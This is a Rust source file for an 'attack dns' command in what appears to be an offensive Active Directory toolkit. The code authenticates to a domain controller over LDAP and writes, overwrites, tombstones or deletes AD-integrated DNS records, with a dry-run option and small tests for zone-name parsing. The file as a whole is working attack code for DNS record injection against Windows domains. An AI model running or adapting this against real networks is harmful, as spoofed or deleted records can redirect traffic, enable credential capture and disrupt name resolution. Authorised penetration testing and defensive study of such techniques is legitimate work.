use adhammer_collector::dns_record;
use adhammer_collector::{Collector, LdapConfig};
use anyhow::{Context, Result};
use clap::Parser;
use std::net::Ipv4Addr;
#[derive(clap::ValueEnum, Clone, Copy, Debug, PartialEq, Eq)]
pub(crate) enum DnsAction {
AddA,
ModifyA,
Tombstone,
Delete,
}
#[derive(Parser)]
pub(crate) struct DnsArgs {
#[command(flatten)]
pub auth: crate::shared_args::OptAuth,
#[arg(long)]
pub action: DnsAction,
#[arg(long)]
pub name: String,
#[arg(long, default_value = "")]
pub ip: String,
#[arg(long)]
pub zone: Option<String>,
#[arg(long)]
pub forest: bool,
#[arg(long, default_value_t = 3600)]
pub ttl: u32,
#[arg(long)]
pub dry_run: bool,
}
pub(crate) async fn dns(mut a: DnsArgs) -> Result<()> {
{
let cur = a.auth.password.as_deref().unwrap_or("");
let resolved = crate::resolve_secret(cur, "ADHAMMER_PASSWORD")?;
if !resolved.is_empty() {
a.auth.password = Some(resolved);
}
}
let cfg = LdapConfig {
url: a
.auth
.url
.clone()
.context("attack dns needs --url (ldaps://dc:636)")?,
bind_dn: a.auth.user.clone().context("attack dns needs --user")?,
password: a
.auth
.password
.clone()
.context("attack dns needs --password")?,
base_dn: None,
insecure: a.auth.insecure,
gssapi: false,
};
let mut c = Collector::connect(&cfg).await?;
let base = c.base_dn().to_string();
let zone = a.zone.clone().unwrap_or_else(|| zone_from_base(&base));
let partition = if a.forest {
"ForestDnsZones"
} else {
"DomainDnsZones"
};
let record = strip_zone_suffix(&a.name, &zone);
let dn = format!("DC={record},DC={zone},CN=MicrosoftDNS,DC={partition},{base}");
match a.action {
DnsAction::AddA | DnsAction::ModifyA => {
let ip: Ipv4Addr =
a.ip.parse()
.with_context(|| format!("--ip {:?} is not an IPv4 address", a.ip))?;
let serial = read_zone_serial(&mut c, &zone, partition, &base)
.await
.unwrap_or(1);
let blob = dns_record::build_a_record(&ip, a.ttl, serial);
if a.dry_run {
println!(
"[dry-run] would write attribute=dnsRecord target={dn} \
value=<A {ip}, ttl={}, {}-byte DNS_RPC_RECORD>",
a.ttl,
blob.len()
);
println!("[dry-run] no change made");
return Ok(());
}
if a.action == DnsAction::AddA {
let attrs: Vec<(&str, Vec<Vec<u8>>)> = vec![
("objectClass", vec![b"top".to_vec(), b"dnsNode".to_vec()]),
("dc", vec![record.as_bytes().to_vec()]),
("dnsRecord", vec![blob.clone()]),
];
match c.add_object(&dn, attrs).await {
Ok(()) => println!("[+] created A record {record}.{zone} → {ip}"),
Err(_) => {
c.write_binary(&dn, "dnsRecord", blob).await?;
println!("[+] node existed — replaced dnsRecord on {record}.{zone} → {ip}");
}
}
} else {
c.write_binary(&dn, "dnsRecord", blob).await?;
println!("[+] modified A record {record}.{zone} → {ip}");
}
}
DnsAction::Tombstone => {
if a.dry_run {
println!("[dry-run] would write attribute=dnsTombstoned target={dn} value=TRUE");
println!("[dry-run] no change made");
return Ok(());
}
c.modify_replace(&dn, "dnsTombstoned", "TRUE").await?;
println!("[+] tombstoned {record}.{zone} (dnsTombstoned=TRUE)");
}
DnsAction::Delete => {
if a.dry_run {
println!("[dry-run] would delete object target={dn}");
println!("[dry-run] no change made");
return Ok(());
}
c.delete_object(&dn).await?;
println!("[+] deleted DNS node {record}.{zone}");
}
}
Ok(())
}
fn zone_from_base(base: &str) -> String {
base.split(',')
.filter_map(|p| {
let p = p.trim();
p.strip_prefix("DC=").or_else(|| p.strip_prefix("dc="))
})
.collect::<Vec<_>>()
.join(".")
}
fn strip_zone_suffix(name: &str, zone: &str) -> String {
let n = name.trim_end_matches('.');
let suffix = format!(".{zone}");
n.strip_suffix(suffix.as_str()).unwrap_or(n).to_string()
}
async fn read_zone_serial(
c: &mut Collector,
zone: &str,
partition: &str,
base: &str,
) -> Option<u32> {
let soa_dn = format!("DC=@,DC={zone},CN=MicrosoftDNS,DC={partition},{base}");
let blob = c.read_binary(&soa_dn, "dnsRecord").await.ok()??;
dns_record::read_soa_serial(&blob)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn zone_derivation() {
assert_eq!(zone_from_base("DC=corp,DC=local"), "corp.local");
assert_eq!(zone_from_base("dc=testlab,dc=local"), "testlab.local");
}
#[test]
fn suffix_stripping() {
assert_eq!(strip_zone_suffix("www.corp.local", "corp.local"), "www");
assert_eq!(strip_zone_suffix("www", "corp.local"), "www");
assert_eq!(strip_zone_suffix("a.b.corp.local", "corp.local"), "a.b");
}
}